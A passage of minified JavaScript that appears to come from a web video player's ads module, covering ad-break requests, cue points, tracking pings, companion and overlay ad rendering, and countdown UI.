[{token:E,scope:"VIDEO"}]);E={contentPlaybackContext:e};e=this.player.getVideoData(1).getGetAdBreakContext();Z=this.player.getVideoData(1).clientPlaybackNonce;R=I!==void 0?Math.round(I).toString():void 0;Y=(u==null?0:u.context)?u.context:void 0;b=0;I&&H&&!u&&(H=H.end-H.start,H>0&&(b=Math.floor(H/1E3)));u=(u=Math.trunc((u?u.U0:b)*1E3))?String(u):void 0;H=this.player.Bm()*1E3;H=Number.isNaN(H)?0:Math.trunc(H);T={adBlock:T,params:t,breakIndex:m,breakPositionMs:d,clientPlaybackNonce:Z,topLevelDomain:M,
isProxyAdTagRequest:x,context:A,overridePlaybackContext:E,cueProcessedMs:R,videoId:l?l:void 0,liveTargetingParams:Y,breakLengthMs:u,driftFromHeadMs:H?String(H):void 0,currentMediaTimeMs:String(Math.round(this.player.getCurrentTime(1)*1E3)),getAdBreakContext:e?e:void 0};return YIC(this,T)};var cZd={K3Y:"replaceUrlMacros",Mfj:"onAboutThisAdPopupClosed",hNf:"executeCommand"};Uof.prototype.LN=function(){return"adPingingEndpoint"};
Uof.prototype.PY=function(x,T,t){u15(this.RU.get(),x,T,t)};bgf.prototype.LN=function(){return"changeEngagementPanelVisibilityAction"};
bgf.prototype.PY=function(x){this.U.XW("changeEngagementPanelVisibility",{changeEngagementPanelVisibilityAction:x})};rQm.prototype.LN=function(){return"loggingUrls"};
rQm.prototype.PY=function(x,T,t){x=g.S(x);for(var u=x.next();!u.done;u=x.next())u=u.value,u15(this.RU.get(),u.baseUrl,T,t,u.attributionSrcMode)};g.P(kJf,g.W);g.P(QN,g.W);g.q=QN.prototype;g.q.addListener=function(x){this.listeners.push(x)};
g.q.removeListener=function(x){this.listeners=this.listeners.filter(function(T){return T!==x})};
g.q.w_=function(x,T,t,u,H,I,E,Z){if(x==="")E3("Received empty content video CPN in DefaultContentPlaybackLifecycleApi");else if(x!==this.C||t){this.C=x;this.IU.get().w_(x,T,t,u,H,I,E,Z);this.Bv.get().w_(x,T,t,u,H,I,E,Z);var e;(e=this.CF)==null||e.get().w_(x,T,t,u,H,I,E,Z);this.Z.w_(x,T,t,u,H,I,E,Z);e=g.S(this.listeners);for(var l=e.next();!l.done;l=e.next())l.value.w_(x,T,t,u,H,I,E,Z)}else E3("Duplicate content video loaded signal")};
g.q.uT=function(){this.C&&this.Sf(this.C)};
g.q.Sf=function(x){this.C=void 0;for(var T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.Sf(x)};p6.prototype.i4=function(x,T,t,u,H){F1H(this);this.T=!T&&t===0;var I=this.U.getVideoData(1),E=this.U.getVideoData(2);I&&(this.contentCpn=I.clientPlaybackNonce,this.videoId=I.videoId,this.C=I.D);E&&(this.adCpn=E.clientPlaybackNonce,this.adVideoId=E.videoId,this.adFormat=E.adFormat);this.K=x;u<=0?(F1H(this),this.T=!T&&t===0):(this.actionType=this.T?T?"unknown_type":"video_to_ad":T?"ad_to_video":"ad_to_ad",this.videoStreamType=H?"VIDEO_STREAM_TYPE_LIVE":"VIDEO_STREAM_TYPE_VOD",this.actionType!=="unknown_type"&&
(this.j=!0,WM("_start",this.actionType)&&VU3(this)))};
p6.prototype.reset=function(){return new p6(this.U)};g.P(OJ,g.W);OJ.prototype.addCueRange=function(x,T,t,u,H,I,E){I=I===void 0?3:I;E=E===void 0?1:E;this.C.has(x)?E3("Tried to register duplicate cue range",void 0,void 0,{CueRangeID:x}):(x=new GJf(x,T,t,u,I),this.C.set(x.id,{QI:x,listener:H,wR:E}),this.U.oi([x],E))};
OJ.prototype.removeCueRange=function(x){var T=this.C.get(x);T?(this.U.YX([T.QI],T.wR),this.C.delete(T.QI.id)):E3("Requested to remove unknown cue range",void 0,void 0,{CueRangeID:x})};
OJ.prototype.onCueRangeEnter=function(x){if(this.C.has(x.id))this.C.get(x.id).listener.onCueRangeEnter(x.id)};
OJ.prototype.onCueRangeExit=function(x){if(this.C.has(x.id))this.C.get(x.id).listener.onCueRangeExit(x.id)};
g.P(GJf,g.te);f6.prototype.wW=function(x){this.U.wW(x)};
f6.prototype.vZ=function(x){var T=g.FD.apply(1,arguments);x==="onAdStart"||x==="onAdEnd"?this.U.gN.apply(this.U,[x].concat(g.U(T))):this.U.XW.apply(this.U,[x].concat(g.U(T)))};wP.prototype.T3=function(x){return x&&K6(this)};var Nff=null;g.P(yQC,g.$B);yQC.prototype.ES=function(x){return this.C.hasOwnProperty(x)?this.C[x].ES():{}};
g.DC("ytads.bulleit.getVideoMetadata",function(x){return Xy().ES(x)});
g.DC("ytads.bulleit.triggerExternalActivityEvent",function(x,T,t){var u=Xy();t=Doq(t);t!==null&&u.publish(t,{queryId:x,viewabilityString:T})});g.q=xC.prototype;g.q.bf=function(x,T){if(!this.C.has(x))return{};if(T==="seek"){T=this.U.Y().B("html5_dai_enable_active_view_creating_completed_adblock");T=T===void 0?!1:T;var t=Fr(cs).OO(x,{});t?cY(t):T&&(x=Fr(cs).t4(null,OL(),!1,x),x.gE=3,JKJ([x]));return{}}T=CM3(T);if(T===null)return{};var u=this.U.oe();if(!u)return{};var H=this.U.getPresentingPlayerType(!0);if((t=this.U.getVideoData(H))==null||!t.isAd())return{};t={opt_adElement:u,opt_fullscreen:this.IU.get().isFullscreen()};return J8J(T,x,t)};
g.q.BV=function(x,T,t,u,H){this.C.has(x)&&(u<=0||H<=0||Fr(cs).BV(x,T,t,u,H))};
g.q.uL=function(x){var T;(T=this.C.get(x.queryId))==null||T.uL()};
g.q.Lu=function(x){var T;(T=this.C.get(x.queryId))==null||T.Lu()};
g.q.xR=function(x){var T;(T=this.C.get(x.queryId))==null||T.xR()};
g.q.Ku=function(x){var T;(T=this.C.get(x.queryId))==null||T.Ku()};
g.q.dw=function(x){var T;(T=this.C.get(x.queryId))==null||T.dw()};xbJ.prototype.send=function(x,T,t,u){try{Tei(this,x,T,t,u===void 0?!1:u)}catch(H){}};g.P(on5,xbJ);tTH.prototype.send=function(x,T,t,u){var H=!1;try{if(u==="ATTRIBUTION_SRC_MODE_LABEL_CHROME"||u==="ATTRIBUTION_SRC_MODE_XHR_OPTION")H=!0,x=qrH(x);u=H;var I=x.match(Gl);if(I[1]==="https")var E=x;else I[1]="https",E=FH("https",I[2],I[3],I[4],I[5],I[6],I[7]);var Z=uJ5(E);I=[];var e=fKf(E)&&this.Lf.get().U.Y().experiments.aU("add_auth_headers_to_remarketing_google_dot_com_ping");if(I6(E)||e)I.push({headerType:"USER_AUTH"}),I.push({headerType:"PLUS_PAGE_ID"}),I.push({headerType:"VISITOR_ID"}),I.push({headerType:"EOM_VISITOR_ID"}),
I.push({headerType:"AUTH_USER"}),I.push({headerType:"DATASYNC_ID"});this.C.send({baseUrl:E,scrubReferrer:Z,headers:I},T,t,u)}catch(l){}};ut.prototype.Jp=function(){return this.U.Jp(1)};g.P($C,g.W);g.q=$C.prototype;g.q.fB=function(){return this.U.getVideoData(1).clientPlaybackNonce};
g.q.addListener=function(x){this.listeners.push(x)};
g.q.removeListener=function(x){this.listeners=this.listeners.filter(function(T){return T!==x})};
g.q.w_=function(){this.xt.clear();this.FK=null;this.y3.get().clear()};
g.q.Sf=function(){};
g.q.PDj=function(x,T,t,u,H){T.videoId==="nPpU29QrbiU"&&this.U.kc("ads_ssm_vdc_s",{pt:t,dvt:x});Ss(this.Lf.get())&&x!=="dataloaded"||ZJf(this,T,t);if(K6(this.Lf.get())&&x==="newdata"&&H!==void 0){x=this.fB();var I=T.clientPlaybackNonce,E={};Sf(this,"rte",(E.ec=I,E.xc=u==null?void 0:u.clientPlaybackNonce,E.tr=H,E.pt=t,E.ia=I!==x,E.ctp=PU(I),E));T=T.clientPlaybackNonce;u=u==null?void 0:u.clientPlaybackNonce;H=jkD(H);if(H!==1)if(u!==void 0)for(t=g.S(this.listeners),x=t.next();!x.done;x=t.next())x.value.o2(u,
T,H);else E3("Expected exiting CPN for all non initial transitions",void 0,void 0,{enteringCpn:T,transitionReason:String(H)});H=g.S(this.listeners);for(u=H.next();!u.done;u=H.next())u.value.dW(T)}};
g.q.JoZ=function(x,T){x!==void 0&&(this.FK=x,T===void 0?E3("Expected ad video start time on SS video changed"):this.xt.set(x,T));var t=this.U.getPresentingPlayerType(!0),u=this.U.getVideoData(t);this.U.getVideoData(1).kc("ads_ssvc",{pt:t,cpn:u==null?void 0:u.clientPlaybackNonce,crtt:this.U.getCurrentTime(1,!1),atlh:this.U.isAtLiveHead(),adstt:T});u?ZJf(this,u,t):E3("Expected video data on server stitched video changed",void 0,void 0,{cpn:this.U.getVideoData(1).clientPlaybackNonce,timelinePlaybackId:x})};
g.q.b4=function(x,T){var t=x.author,u=x.clientPlaybackNonce,H=x.isListed,I=x.k6,E=x.title,Z=x.xz,e=x.pU,l=x.isMdxPlayback,m=x.Hh,d=x.mdxEnvironment,M=x.isAutonav,A=x.MK,R=x.VL,Y=x.zi,b=x.videoId||"",z=x.profilePicture||"",F=x.dP||"",V=x.qg()||!1,B=x.Ty()||!1;x=x.w$||void 0;I=this.y3.get().C.get(I)||{layoutId:null,slotId:null};var D=this.U.getVideoData(1),f=D.B9();D=D.getPlayerResponse();T=1E3*this.U.getDuration(T);var O=1E3*this.U.getDuration(1),sH,HX,xq=(D==null?void 0:(sH=D.playerConfig)==null?
void 0:(HX=sH.daiConfig)==null?void 0:HX.enableDai)||!1,J,X;sH=(D==null?void 0:(J=D.playerConfig)==null?void 0:(X=J.daiConfig)==null?void 0:X.enablePreroll)||!1;return Object.assign({},I,{videoId:b,author:t,clientPlaybackNonce:u,z4:T,Mg:O,daiEnabled:xq,Jk:sH,isListed:H,B9:f,profilePicture:z,title:E,dP:F,xz:Z,pU:e,w$:x,isMdxPlayback:l,Hh:m,mdxEnvironment:d,isAutonav:M,MK:A,VL:R,zi:Y,qg:V,Ty:B})};
g.q.oU=function(){this.listeners.length=0;this.YQ=null;g.W.prototype.oU.call(this)};g.P(Hh,g.W);g.q=Hh.prototype;g.q.w_=function(){var x=this;K6(this.Lf.get())||(this.C=jL(function(){x.U.T9()||x.U.Do("ad",1)}))};
g.q.Sf=function(){};
g.q.addListener=function(x){this.listeners.push(x)};
g.q.removeListener=function(x){this.listeners=this.listeners.filter(function(T){return T!==x})};
g.q.yE=function(){};
g.q.playVideo=function(){this.U.playVideo()};
g.q.pauseVideo=function(){this.U.pauseVideo()};
g.q.resumeVideo=function(x){this.z2(x)&&this.U.playVideo()};
g.q.z2=function(x){return this.U.getPlayerState(x)===2};
g.q.getCurrentTimeSec=function(x,T,t){var u=this.Bv.get().FK;if(x===2&&!T&&u!==null)return le3(this,u);pG(this.Lf.get(),"html5_ssap_use_cpn_to_get_time")||(t=void 0);return t!==void 0?this.U.getCurrentTime(x,T,t):this.U.getCurrentTime(x,T)};
g.q.getVolume=function(){return this.U.getVolume()};
g.q.isMuted=function(){return this.U.isMuted()};
g.q.getPresentingPlayerType=function(){return this.U.getPresentingPlayerType(!0)};
g.q.getPlayerState=function(x){return this.U.getPlayerState(x)};
g.q.isFullscreen=function(){return this.U.isFullscreen()};
g.q.isAtLiveHead=function(){return this.U.isAtLiveHead()};
g.q.Qp=function(x){this.U.Qp(x)};
g.q.uaY=function(){var x=this.U.getPresentingPlayerType(!0),T=this.getCurrentTimeSec(x,!1);if(x===2){x=g.S(this.listeners);for(var t=x.next();!t.done;t=x.next())t.value.Gc(T)}else if(x===1)for(x=g.S(this.eG),t=x.next();!t.done;t=x.next())t.value.yE(T)};
g.q.E6Q=function(x){for(var T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.Vl(x,this.getPresentingPlayerType())};
g.q.onFullscreenToggled=function(x){for(var T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.onFullscreenToggled(x)};
g.q.onVolumeChange=function(){for(var x=g.S(this.listeners),T=x.next();!T.done;T=x.next())T.value.onVolumeChange()};
g.q.M0=function(){for(var x=this.U.isMinimized(),T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.M0(x)};
g.q.VY=function(x){for(var T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.VY(x)};
g.q.C2=function(){for(var x=this.U.bG().xL(),T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.zC(x)};
g.q.AI=function(x){for(var T=g.S(this.listeners),t=T.next();!t.done;t=T.next())t.value.AI(x)};
g.q.JI=function(){for(var x=g.S(this.listeners),T=x.next();!T.done;T=x.next())T.value.JI()};g.P(MT3,g.W);g.P(ZV,g.W);ZV.prototype.oU=function(){this.PB.T9()||this.PB.get().removeListener(this);g.W.prototype.oU.call(this)};j4.prototype.fetch=function(x){var T=x.PL;return this.C.fetch(x.MP,{V6:x.V6===void 0?void 0:x.V6,QI:T,cueProcessedMs:x.cueProcessedMs===void 0?0:x.cueProcessedMs}).then(function(t){return AY3(t,T)})};g.P(e4,g.W);g.q=e4.prototype;g.q.addListener=function(x){this.listeners.push(x)};
g.q.removeListener=function(x){this.listeners=this.listeners.filter(function(T){return T!==x})};
g.q.RK=function(x){RCm(this,x,1)};
g.q.onAdUxClicked=function(x,T){lt(this,function(t){t.lq(x,T)})};
g.q.x9=function(x){lt(this,function(T){T.Fq(x)})};
g.q.u$=function(x){lt(this,function(T){T.q6(x)})};
g.q.sfc=function(x){lt(this,function(T){T.TZ(x)})};mR.prototype.reduce=function(x){switch(x.event){case "unknown":return}var T=x.identifier;var t=this.C[T];t?T=t:(t={SG:null,Uj:-Infinity},T=this.C[T]=t);t=x.startSecs+x.C/1E3;if(!(t<T.Uj))if(T.Uj=t,T.SG){if(t<T.SG.end){a:{t=T.SG;switch(x.event){case "start":case "continue":case "stop":break;default:x=null;break a}x=t.start+x.U0;x=t.end<=x?null:x}if(x!==null)for(T.SG.end=x,T=this.Z,g.Zw(T.j.C,x*1E3),T=g.S(T.listeners),t=T.next();!t.done;t=T.next())t.value.It(x)}}else if(x=Pa3(x,this.j))t=x.G9m,T.SG=
x.E2,cYf(this.Z,t)};
mR.prototype.updateTime=function(){};g.P(dW,g.W);g.q=dW.prototype;
g.q.w_=function(){this.T=new mR(this,nEH(this.Lf.get()));this.j=new S$D;var x=this.U.getVideoData(1);if(!x.enableServerStitchedDai){var T=this.U.getVideoData(1),t;((t=this.Z)==null?void 0:t.clientPlaybackNonce)!==T.clientPlaybackNonce&&(this.Z!=null&&this.Z.unsubscribe("cuepointupdated",this.QE,this),T.subscribe("cuepointupdated",this.QE,this),this.Z=T)}this.SB.length=0;var u;T=((u=x.C)==null?void 0:NoV(u,0))||[];u=g.S(T);for(T=u.next();!T.done;T=u.next())T=T.value,this.a9(T)&&(W1f(this.Lf.get())&&
sO(this.RU.get(),"ocvl","cpi."+T.identifier+";cpe."+T.event+";cps."+T.startSecs),E3("Unexpected a GetAdBreak to go out without player waiting",void 0,void 0,{cuePointId:T.identifier,cuePointEvent:T.event,contentCpn:x.clientPlaybackNonce}))};
g.q.Sf=function(){};
g.q.addListener=function(x){this.listeners.push(x)};
g.q.removeListener=function(x){this.listeners=this.listeners.filter(function(T){return T!==x})};
g.q.a9=function(x){Ub3(this,x);this.T.reduce(x);x=this.K;this.K=!1;return x};
g.q.QE=function(x){var T=this.U.getVideoData(1).isDaiEnabled();if(T||!g.Yv(this.U.Y())){x=g.S(x);for(var t=x.next();!t.done;t=x.next())if(t=t.value,Ub3(this,t),T)this.T.reduce(t);else if(this.U.getCurrentTime(1)!==0&&t.event==="start")if(this.Lf.get().U.Y().experiments.aU("ignore_overlapping_cue_points_on_endemic_live_html5")&&(this.C==null||this.Lf.get().U.Y().experiments.aU("enable_only_drop_overlapping_cuepoints_with_same_identifier")&&this.C.identifier!==t.identifier?0:t.startSecs+t.U0>=this.C.startSecs&&
t.startSecs<=this.C.startSecs+this.C.U0)){var u=void 0;if(W1f(this.Lf.get())&&t.identifier!==((u=this.C)==null?void 0:u.identifier)){var H=u=void 0,I=void 0,E=void 0;sO(this.RU.get(),"ocud","ccpi."+t.identifier+";ccpe."+t.event+";ccps."+t.startSecs+";\n               ccpd."+t.U0+";pcpi."+((u=this.C)==null?void 0:u.identifier)+";pcpe."+((H=this.C)==null?void 0:H.event)+";\n               pcps."+((I=this.C)==null?void 0:I.startSecs)+";pcpd."+((E=this.C)==null?void 0:E.U0)+";")}u=void 0;t.identifier!==
((u=this.C)==null?void 0:u.identifier)&&E3("Latest Endemic Live Web cue point overlaps with previous cue point")}else this.C=t,cYf(this,t)}};
g.q.oU=function(){this.Z!=null&&(this.Z.unsubscribe("cuepointupdated",this.QE,this),this.Z=null);this.listeners.length=0;this.SB.length=0;g.W.prototype.oU.call(this)};Ms.prototype.addPlayerResponseForAssociation=function(x){this.U.addPlayerResponseForAssociation(x)};g.q=R5.prototype;g.q.nJ=function(x,T,t,u,H,I,E){return this.U.nJ(x,T,t,u,H,I,E)};
g.q.iH=function(x,T){this.U.iH(x,T)};
g.q.XH=function(x,T,t){this.U.XH(x,T,t)};
g.q.vY=function(x){this.U.vY(x)};
g.q.Ov=function(x,T,t,u,H,I,E){this.U.Ov(x,T,t,u,H,I,E)};
g.q.Rq=function(x){return this.U.Rq(x)};
g.q.finishSegmentByCpn=function(x,T,t){t=rY5(t);this.U.finishSegmentByCpn(x,T,t)};g.P(kNJ,g.W);g.P(Fm3,g.W);g.P(hC3,g.W);g.P(vnv,g.W);g.P(VTV,g.W);g.P(Lmv,g.W);Lmv.prototype.j=function(){return this.Z};g.P(nnC,DJ);
nnC.prototype.K=function(x){var T=x.content;if(T.componentType==="shopping-companion")switch(x.actionType){case 1:case 2:x=this.C.getVideoData(1);this.C.XW("updateKevlarOrC3Companion",{contentVideoId:x&&x.videoId,shoppingCompanionCarouselRenderer:T.renderer,layoutId:T.layoutId,macros:T.macros,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});break;case 3:this.C.XW("updateKevlarOrC3Companion",{})}else if(T.componentType==="action-companion")switch(x.actionType){case 1:case 2:x=this.C.getVideoData(1);
this.C.XW("updateKevlarOrC3Companion",{contentVideoId:x&&x.videoId,actionCompanionAdRenderer:T.renderer,layoutId:T.layoutId,macros:T.macros,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});break;case 3:T.renderer&&(T=this.C.getVideoData(1),this.C.XW("updateKevlarOrC3Companion",{contentVideoId:T&&T.videoId})),this.C.XW("updateKevlarOrC3Companion",{})}else if(T.componentType==="image-companion")switch(x.actionType){case 1:case 2:x=this.C.getVideoData(1);this.C.XW("updateKevlarOrC3Companion",
{contentVideoId:x&&x.videoId,imageCompanionAdRenderer:T.renderer,layoutId:T.layoutId,macros:T.macros,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});break;case 3:T=this.C.getVideoData(1),this.C.XW("updateKevlarOrC3Companion",{contentVideoId:T&&T.videoId}),this.C.XW("updateKevlarOrC3Companion",{})}else if(T.componentType==="top-banner-image-text-icon-buttoned")switch(x.actionType){case 1:case 2:x=this.C.getVideoData(1);this.C.XW("updateKevlarOrC3Companion",
{contentVideoId:x&&x.videoId,topBannerImageTextIconButtonedLayoutViewModel:T.renderer,layoutId:T.layoutId,macros:T.macros,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});break;case 3:T.renderer&&(T=this.C.getVideoData(1),this.C.XW("updateKevlarOrC3Companion",{contentVideoId:T&&T.videoId})),this.C.XW("updateKevlarOrC3Companion",{})}else if(T.componentType==="banner-image")switch(x.actionType){case 1:case 2:x=this.C.getVideoData(1);this.C.XW("updateKevlarOrC3Companion",
{contentVideoId:x&&x.videoId,bannerImageLayoutViewModel:T.renderer,layoutId:T.layoutId,macros:T.macros,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});break;case 3:T=this.C.getVideoData(1),this.C.XW("updateKevlarOrC3Companion",{contentVideoId:T&&T.videoId}),this.C.XW("updateKevlarOrC3Companion",{})}else if(T.componentType==="ads-engagement-panel")switch(T=T.renderer,x.actionType){case 1:case 2:this.C.XW("updateEngagementPanelAction",T.addAction);this.C.XW("changeEngagementPanelVisibility",
T.expandAction);break;case 3:this.C.XW("changeEngagementPanelVisibility",T.hideAction),this.C.XW("updateEngagementPanelAction",T.removeAction)}else if(T.componentType==="ads-engagement-panel-layout"){var t=T.renderer;switch(x.actionType){case 1:case 2:this.C.XW("updateEngagementPanelAction",{action:aY(t.addAction),layoutId:T.layoutId,onLayoutVisibleCallback:T.C,interactionLoggingClientData:T.interactionLoggingClientData});this.C.XW("changeEngagementPanelVisibility",aY(t.expandAction));break;case 3:this.C.XW("changeEngagementPanelVisibility",
aY(t.hideAction)),this.C.XW("updateEngagementPanelAction",{action:aY(t.removeAction)})}}};g.P(aeD,fK);g.q=aeD.prototype;g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);g.Zt(this.j,"stroke-dasharray","0 "+this.Z);this.j.classList.add("ytp-ad-timed-pie-countdown-inner-light");this.D.classList.add("ytp-ad-timed-pie-countdown-outer-light");this.K.classList.add("ytp-ad-timed-pie-countdown-container-upper-right");this.show()};
g.q.clear=function(){this.hide()};
g.q.hide=function(){KK(this);fK.prototype.hide.call(this)};
g.q.show=function(){wr(this);fK.prototype.show.call(this)};
g.q.ZX=function(){this.hide()};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();x!=null&&x.current!=null&&g.Zt(this.j,"stroke-dasharray",x.current/x.seekableEnd*this.Z+" "+this.Z)}};g.P(gnX,ZJ);g.q=gnX.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);if(T.image&&T.image.thumbnail)if(T.headline)if(T.description)if(T.backgroundImage&&T.backgroundImage.thumbnail)if(T.actionButton&&g.N(T.actionButton,g.nx))if(x=T.durationMilliseconds||0,typeof x!=="number"||x<=0)g.vW(Error("durationMilliseconds was specified incorrectly in AdActionInterstitialRenderer with a value of: "+x));else if(T.navigationEndpoint){var u=this.api.getVideoData(2);if(u!=null){var H=T.image.thumbnail.thumbnails;H!=null&&
H.length>0&&g.Y9(g.Kd(H[0].url))&&(H[0].url=u.profilePicture,g.Y9(g.Kd(u.profilePicture))&&oWq("VideoPlayer",239976093,"Expected non-empty profile picture."));H=T.backgroundImage.thumbnail.thumbnails;H!=null&&H.length>0&&g.Y9(g.Kd(H[0].url))&&(H[0].url=u.ys());H=T.headline;H!=null&&g.Y9(g.Kd(H.text))&&(H.text=u.author)}this.S.init(sV("ad-image"),T.image,t);this.D.init(sV("ad-text"),T.headline,t);this.j.init(sV("ad-text"),T.description,t);this.AQ.init(sV("ad-image"),T.backgroundImage,t);u=["ytp-ad-action-interstitial-action-button",
"ytp-ad-action-interstitial-action-button-rounded"];this.slot.classList.add("ytp-ad-action-interstitial-slot-dark-background");this.D.element.classList.add("ytp-ad-action-interstitial-headline-light");this.j.element.classList.add("ytp-ad-action-interstitial-description-light");u.push("ytp-ad-action-interstitial-action-button-dark");this.api.Y().Z&&(u.push("ytp-ad-action-interstitial-action-button-mobile-companion-size"),u.push("ytp-ad-action-interstitial-action-button-dark"));this.api.Y().B("enable_unified_action_endcap_on_web")&&
!this.api.Y().Z&&(u.push("ytp-ad-action-interstitial-action-button-unified"),this.tQ.classList.add("ytp-ad-action-interstitial-action-button-container-unified"),this.S.element.classList.add("ytp-ad-action-interstitial-image-unified"),this.SY.classList.add("ytp-ad-action-interstitial-background-container-unified"),this.eV.classList.add("ytp-ad-action-interstitial-card-unified"),this.jY.classList.add("ytp-ad-action-interstitial-description-container-unified"),this.j.element.classList.add("ytp-ad-action-interstitial-description-unified"),
this.Om.classList.add("ytp-ad-action-interstitial-headline-container-unified"),this.D.element.classList.add("ytp-ad-action-interstitial-headline-unified"),this.QU.classList.add("ytp-ad-action-interstitial-image-container-unified"),this.nf.classList.add("ytp-ad-action-interstitial-instream-info-unified"),this.slot.classList.add("ytp-ad-action-interstitial-slot-unified"));this.actionButton=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,u);g.y(this,this.actionButton);this.actionButton.yU(this.tQ);
this.actionButton.init(sV("button"),g.N(T.actionButton,g.nx),t);NV(this.actionButton.element);u=Qw(this.actionButton.element);Ct(this.actionButton.element,u+" This link opens in new tab");this.navigationEndpoint=T.navigationEndpoint;this.K.V(this.QU,"click",this.nh,this);this.K.V(this.jY,"click",this.nh,this);!this.api.Y().B("enable_clickable_headline_for_action_endcap_on_mweb")&&this.api.Y().Z||this.K.V(this.Om,"click",this.nh,this);this.C=this.cq?new Rn(this.api,x):new Pu(x);g.y(this,this.C);if(T.skipButton){(x=
g.N(T.skipButton,add))&&this.C&&(this.skipButton=new e1(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C,this.h_),g.y(this,this.skipButton),this.skipButton.yU(this.element),this.skipButton.init(sV("skip-button"),x,t));t=this.api.B("disable_ad_preview_for_instream_ads");if(x=T.adBadgeRenderer)if(x=g.N(x,n9h))u=new Ma(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,!0,t),u.yU(this.nf),u.init(sV("simple-ad-badge"),x,this.macros),g.y(this,u);if(x=T.adInfoRenderer)if(x=
g.N(x,GO))t=new Qo(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.element,void 0,t),t.yU(this.nf),t.init(sV("ad-info-hover-text-button"),x,this.macros),g.y(this,t)}else T.nonskippableOverlayRenderer&&(x=g.N(T.nonskippableOverlayRenderer,Lx))&&this.C&&(this.Z=new TK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C,!1),g.y(this,this.Z),this.Z.yU(this.element),this.Z.init(sV("ad-preview"),x,t));T.countdownRenderer&&(T=T.countdownRenderer,g.N(T,g9M)&&this.C&&
(t=new aeD(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C),g.y(this,t),t.yU(this.element),t.init(sV("timed-pie-countdown"),g.N(T,g9M),this.macros)));this.show();this.element.focus()}else g.vW(Error("AdActionInterstitialRenderer has no navigation endpoint."));else g.vW(Error("AdActionInterstitialRenderer has no button."));else g.vW(Error("AdActionInterstitialRenderer has no background AdImage."));else g.vW(Error("AdActionInterstitialRenderer has no description AdText."));else g.vW(Error("AdActionInterstitialRenderer has no headline AdText."));
else g.vW(Error("AdActionInterstitialRenderer has no image."))};
g.q.clear=function(){g.zx(this.K);this.hide()};
g.q.show=function(){Be3(!0);this.actionButton&&this.actionButton.show();this.skipButton&&this.skipButton.show();this.Z&&this.Z.show();ZJ.prototype.show.call(this)};
g.q.hide=function(){Be3(!1);this.actionButton&&this.actionButton.hide();this.skipButton&&this.skipButton.hide();this.Z&&this.Z.hide();ZJ.prototype.hide.call(this)};
g.q.nh=function(){this.navigationEndpoint&&(this.layoutId?this.JQ.executeCommand(this.navigationEndpoint,this.layoutId):g.vW(Error("Missing layoutId for ad action interstitial.")))};var JYi={iconType:"CLOSE"},YC=new g.lu(320,63);g.P(Neq,ZJ);g.q=Neq.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);this.K=T;this.S=g.o2(this.K.onClickCommands||[]);this.nf=this.K.onErrorCommand||null;if(x=this.K.contentSupportedRenderer)x=this.K.contentSupportedRenderer,T=this.K.adInfoRenderer||null,g.N(x,V00)?(this.D=g.Q9("ytp-ad-overlay-ad-info-button-container",this.j.element),Cam(this,T),x=p3v(this,g.N(x,V00))):g.N(x,GV9)?(this.D=g.Q9("ytp-ad-overlay-ad-info-button-container",this.Z.element),Cam(this,T),x=OJq(this,g.N(x,GV9))):g.N(x,Ldb)?(this.D=
g.Q9("ytp-ad-overlay-ad-info-button-container",this.C.element),Cam(this,T),x=fei(this,g.N(x,Ldb))):(g.vW(Error("InvideoOverlayAdRenderer content could not be initialized.")),x=!1);x&&(this.show(),w3f(this,!0))};
g.q.clear=function(){w3f(this,!1);this.QU.reset();this.jY=0;this.j.hide();this.logVisibility(this.j.element,!1);this.Z.hide();this.logVisibility(this.Z.element,!1);this.C.hide();this.logVisibility(this.C.element,!1);this.hide();this.dispose()};
g.q.ZFf=function(){this.tQ&&(this.layoutId?this.JQ.executeCommand(this.tQ,this.layoutId):g.vW(Error("Missing layoutId for invideo_overlay_ad.")));this.api.pauseVideo()};
g.q.S4=function(){a:{if(this.K&&this.K.closeButton&&this.K.closeButton.buttonRenderer){var x=this.K.closeButton.buttonRenderer;if(x.serviceEndpoint){x=[x.serviceEndpoint];break a}}x=[]}x=g.S(x);for(var T=x.next();!T.done;T=x.next())T=T.value,this.layoutId?this.JQ.executeCommand(T,this.layoutId):g.vW(Error("Missing layoutId for invideo_overlay_ad."));this.api.onAdUxClicked("in_video_overlay_close_button",this.layoutId)};
g.q.AMG=function(){this.AQ||this.api.getPlayerState(1)!==2||this.api.playVideo()};
g.q.tL=function(){this.AQ||this.api.getPlayerState(1)!==2||this.api.playVideo();this.api.tL("invideo-overlay")};
g.q.w9U=function(x){x.target===this.D&&g.Q9("ytp-ad-button",this.SY.element).click()};g.P(KmC,fK);g.q=KmC.prototype;g.q.init=function(x,T,t){fK.prototype.init.call(this,x,T,t);x=T.durationMs;this.j=x==null||x===0?0:x+this.C.getProgressState().current*1E3;if(T.text)var u=T.text.templatedAdText;else T.staticMessage&&(u=T.staticMessage);this.messageText.init(sV("ad-text"),u,t);this.messageText.yU(this.Z.element);this.K.show(100);this.show()};
g.q.clear=function(){this.hide()};
g.q.hide=function(){X33(this,!1);fK.prototype.hide.call(this);this.Z.hide();this.messageText.hide();KK(this)};
g.q.show=function(){X33(this,!0);fK.prototype.show.call(this);wr(this);this.Z.show();this.messageText.show()};
g.q.ZX=function(){this.hide()};
